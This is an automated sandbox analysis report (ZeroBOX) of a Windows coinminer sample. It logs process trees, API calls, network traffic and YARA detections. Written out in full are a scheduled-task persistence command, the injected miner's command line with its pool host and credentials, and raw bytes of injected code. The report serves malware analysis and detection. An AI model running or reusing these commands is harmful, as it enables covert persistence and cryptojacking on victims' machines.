Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	June 24, 2021, 9:59 a.m.	June 24, 2021, 10:01 a.m.

Size	2.1MB
Type	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
MD5	`673189c4150264e0e7f3f74478867375`
SHA256	`33ffdba1062b4725b802f5c0e1d130f700c5e50c32807dda565a567fc0205dca`
CRC32	`AC05B9DF`
ssdeep	`49152:iUAokWDk7njmAVqEuNfqvSXKkmPxkQ0r0ZcPXyfDvbRX/T8a:ikk7n7AEwSvrkxdJCDzJT8a`
Yara	PE_Header_Zero - PE File Signature IsPE64 - (no description) Generic_Malware_Zero - Generic Malware

x3.exe "C:\Users\test22\AppData\Local\Temp\x3.exe"
2232
- cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "wininits" /tr '"C:\Users\test22\AppData\Roaming\wininits.exe"' & exit
  2760
  - schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "wininits" /tr '"C:\Users\test22\AppData\Roaming\wininits.exe"'
    2200
- sihost64.exe "C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe"
  2564
- wininits.exe "C:\Users\test22\AppData\Roaming\wininits.exe"
  2972
  - cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "wininits" /tr '"C:\Users\test22\AppData\Roaming\wininits.exe"' & exit
    2824
    - schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "wininits" /tr '"C:\Users\test22\AppData\Roaming\wininits.exe"'
      2856
  - sihost64.exe "C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe"
    1632
  - notepad.exe C:\Windows/System32\notepad.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=con.microgent.ru:3335 --user=farm50 --pass= --cpu-max-threads-hint=30 --donate-level=5 --cinit-idle-wait=5 --cinit-idle-cpu=80 --nicehash --tls --cinit-stealth
    2164

Name	Response	Post-Analysis Lookup
con.microgent.ru	A 195.133.40.220	195.133.40.220
pastebin.com	A 104.23.99.190 A 104.23.98.190	104.23.99.190

IP Address	Status	Action
104.23.99.190	Active	Moloch
164.124.101.2	Active	Moloch
195.133.40.220	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49210 -> 104.23.99.190:443	906200070	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (CoinMiner)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLS 1.3 192.168.56.101:49210 104.23.99.190:443	None	None	None
TLS 1.3 192.168.56.101:49211 195.133.40.220:3335	None	None	None

Queries for the computername (8 events)

Time & API	Arguments	Status	Return
GetComputerNameW June 24, 2021, 10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 24, 2021, 10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 24, 2021, 10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 24, 2021, 10:01 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 24, 2021, 10:01 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 24, 2021, 10:01 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 24, 2021, 10:01 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 24, 2021, 10:01 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (8 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent June 24, 2021, 9:59 a.m.			0	0
IsDebuggerPresent June 24, 2021, 9:59 a.m.			0	0
IsDebuggerPresent June 24, 2021, 10 a.m.			0	0
IsDebuggerPresent June 24, 2021, 10 a.m.			0	0
IsDebuggerPresent June 24, 2021, 10 a.m.			0	0
IsDebuggerPresent June 24, 2021, 10 a.m.			0	0
IsDebuggerPresent June 24, 2021, 10:01 a.m.			0	0
IsDebuggerPresent June 24, 2021, 10:01 a.m.			0	0

Command line console output was observed (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW June 24, 2021, 10 a.m.	buffer: SUCCESS: The scheduled task "wininits" has successfully been created. console_handle: 0x0000000000000007	1	1	0
WriteConsoleW June 24, 2021, 10:01 a.m.	buffer: SUCCESS: The scheduled task "wininits" has successfully been created. console_handle: 0x0000000000000007	1	1	0

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 24, 2021, 9:59 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Resolves a suspicious Top Level Domain (TLD) (1 event)

domain

con.microgent.ru

description

Russian Federation domain TLD

Allocates read-write-execute memory (usually to unpack itself) (50 out of 193 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 1245184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000ab0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000b60000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1321000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef19bb000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 524288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000880000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000880000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b8a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c3c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c66000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b9c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cb0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b8b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b82000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bdc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bad000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 9:59 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b9a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 10 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cb1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 10 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cf0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 10 a.m.	process_identifier: 2564 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000008a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 10 a.m.	process_identifier: 2564 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000008c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 10 a.m.	process_identifier: 2564 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1321000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 10 a.m.	process_identifier: 2564 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef19bb000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 10 a.m.	process_identifier: 2564 region_size: 1638400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002310000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 24, 2021, 10 a.m.	process_identifier: 2564 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002420000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 10 a.m.	process_identifier: 2564 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 10 a.m.	process_identifier: 2564 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 24, 2021, 10 a.m.	process_identifier: 2564 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe

Creates a suspicious process (3 events)

cmdline	cmd /c schtasks /create /f /sc onlogon /rl highest /tn "wininits" /tr '"C:\Users\test22\AppData\Roaming\wininits.exe"' & exit
cmdline	schtasks /create /f /sc onlogon /rl highest /tn "wininits" /tr '"C:\Users\test22\AppData\Roaming\wininits.exe"'
cmdline	"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "wininits" /tr '"C:\Users\test22\AppData\Roaming\wininits.exe"' & exit

A process created a hidden window (5 events)

Time & API	Arguments	Status	Return
ShellExecuteExW June 24, 2021, 9:59 a.m.	show_type: 0 filepath_r: cmd parameters: /c schtasks /create /f /sc onlogon /rl highest /tn "wininits" /tr '"C:\Users\test22\AppData\Roaming\wininits.exe"' & exit filepath: cmd	1	1
ShellExecuteExW June 24, 2021, 10 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe parameters: filepath: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe	1	1
ShellExecuteExW June 24, 2021, 10 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Roaming\wininits.exe parameters: filepath: C:\Users\test22\AppData\Roaming\wininits.exe	1	1
ShellExecuteExW June 24, 2021, 10:01 a.m.	show_type: 0 filepath_r: cmd parameters: /c schtasks /create /f /sc onlogon /rl highest /tn "wininits" /tr '"C:\Users\test22\AppData\Roaming\wininits.exe"' & exit filepath: cmd	1	1
ShellExecuteExW June 24, 2021, 10:01 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe parameters: filepath: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe	1	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses June 24, 2021, 10:01 a.m.	flags: 14 family: 0		111	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x0021b200', u'virtual_address': u'0x00002000', u'entropy': 7.999868393188596, u'name': u'.text', u'virtual_size': u'0x0021b1ac'}

entropy

7.99986839319

description

A section with a high entropy has been found

entropy

0.999304911956

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW June 24, 2021, 10 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW June 24, 2021, 10:01 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Potentially malicious URLs were found in the process memory dump (3 events)

url	https://xmrig.com/wizard
url	https://xmrig.com/benchmark/%s
url	https://xmrig.com/docs/algorithms

Yara rule detected in process memory (17 events)

description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Take ScreenShot	rule	ScreenShot
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Perform crypto currency mining	rule	BitCoin

Terminates another process (2 events)

Time & API	Arguments	Status	Return	Repeated
NtTerminateProcess June 24, 2021, 10:01 a.m.	status_code: 0xffffffff process_identifier: 2564 process_handle: 0x0000000000000360		0	0
NtTerminateProcess June 24, 2021, 10:01 a.m.	status_code: 0xffffffff process_identifier: 2564 process_handle: 0x0000000000000360	1	0	0

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	cmd /c schtasks /create /f /sc onlogon /rl highest /tn "wininits" /tr '"C:\Users\test22\AppData\Roaming\wininits.exe"' & exit
cmdline	schtasks /create /f /sc onlogon /rl highest /tn "wininits" /tr '"C:\Users\test22\AppData\Roaming\wininits.exe"'
cmdline	"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "wininits" /tr '"C:\Users\test22\AppData\Roaming\wininits.exe"' & exit

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory June 24, 2021, 10:01 a.m.	process_identifier: 2164 region_size: 7700480 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000140000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000000000000254	1	0	0

Installs itself for autorun at Windows startup (3 events)

cmdline	cmd /c schtasks /create /f /sc onlogon /rl highest /tn "wininits" /tr '"C:\Users\test22\AppData\Roaming\wininits.exe"' & exit
cmdline	schtasks /create /f /sc onlogon /rl highest /tn "wininits" /tr '"C:\Users\test22\AppData\Roaming\wininits.exe"'
cmdline	"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "wininits" /tr '"C:\Users\test22\AppData\Roaming\wininits.exe"' & exit

Created a service where a service was also not started (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateServiceW June 24, 2021, 10:01 a.m.	service_start_name: start_type: 3 password: display_name: WinRing0_1_2_0 filepath: C:\Users\test22\AppData\Roaming\Microsoft\Libs\WR64.sys service_name: WinRing0_1_2_0 filepath_r: C:\Users\test22\AppData\Roaming\Microsoft\Libs\WR64.sys desired_access: 983551 service_handle: 0x000000000025f870 error_control: 1 service_type: 1 service_manager_handle: 0x0000000000263370	1	2488432	0

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe

Potential code injection by writing to the memory of another process (6 events)

Time & API	Arguments	Status	Return
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: MZÿÿ¸@ º´ Í!¸LÍ!This program cannot be run in DOS mode. $\>)éPzéPzéPzCT{éPzCS{éPzCU{ÐéPzIzéPzT{éPzS{éPzU{éPzÞT{ éPzCQ{ éPzéQzpèPzT{KëPzÞY{äéPzÞS{éPzÞ¯zéPzéÇzéPzÞR{éPzRichéPzPEd@+`ð"4Al¶.@u`\|ÐFÜàt°`r\|ðtwCPxC( wC0 4X .textt44 `.rdataÓ 4Ô 4@@.dataðR+G"ÞF@À.pdata\|`rH@@_RANDOMXptJ@`_SHA3_25@ t J@`_TEXT_CNQt &J@`_TEXT_CN°tFJ@`_RDATAÐtXJ@@.rsrc°àtZJ@@.relocðt`J@B base_address: 0x0000000140000000 process_identifier: 2164 process_handle: 0x0000000000000254	1	1
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: HÐ%ÀÿHÁÊ âÀÿffffffffffffffSUWVATAUAVAWHìPót$@ó\|$0óDD$ óDL$óD$HìPóD\$@óDd$0óDl$ óDt$óD<$QHHzHÅHÁè %ÀÿÿIðIÙHÅM3ÀM3ÉM3ÒM3ÛM3äM3íM3öM3ÿHIxfD(AHfD(IXfD(QhfD(YxfD(-fD(5fD(=HÐ%ÀÿHÁÊ âÀÿHì(Ç$ÀÇD$À¿ÇD$ÀßÇD$ÀÿÇD$ ÿÿÿÿëhffffffffffffffffffffffffÀÿÿÿÿÀÿÿÿÿððH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QHÄëfffffffHHL$L3L3IL3QL3YL3a L3i(L3q0L3y8HHL$óæóæIóæQóæYóæa óæi(óæq0óæy8fATåfATífATõfATýfAVæfAVîfAVöfAVþHHL$L3L3IL3QL3YL3a L3i(L3q0L3y8HHL$óæóæIóæQóæYóæa óæi(óæq0óæy8ÈX¢æÐÈP¢îÐÈH¢öÐÈ@¢þÐH3èÕâÀÿÿHÁÍ ÕâÀÿÿHL3L3IL3QL3YL3a L3i(L3q0L3y8HÍHÁé áÀÿÿL3H3èÕâÀÿÿHÁÍ L3LL3TL3\L3d L3l(L3t0L3\|8HìHH\$@LD$8LL$0LT$(L\$ Ld$Ll$Lt$L<$H3èHÁÍ ÝãÀÿÿÁëH\$@L3D$8L3L$0L3T$(L3\$ L3d$L3l$L3t$L3<$HÄHHL$LLILQLYLa Li(Lq0Ly8HL$fWÄfWÍfWÖfWßf)f)If)Q f)Y0ffSUWVATAUAVAWH9HòIèAQ HÝèÞLLNLVL^Lf Ln(Lv0L~8HÅHÆ@H;,$rÈAYA_A^A]A\^_][Ãffffffffffffff@SUWVATAUAVAWHìó$óL$óT$ ó\$0ód$@ól$Pót$`ó\|$póD$óD$óD$ óD$°óD¤$ÀóD¬$ÐóD´$àóD¼$ðH9HòIèAQHì(é-L-ôQXü¡õY 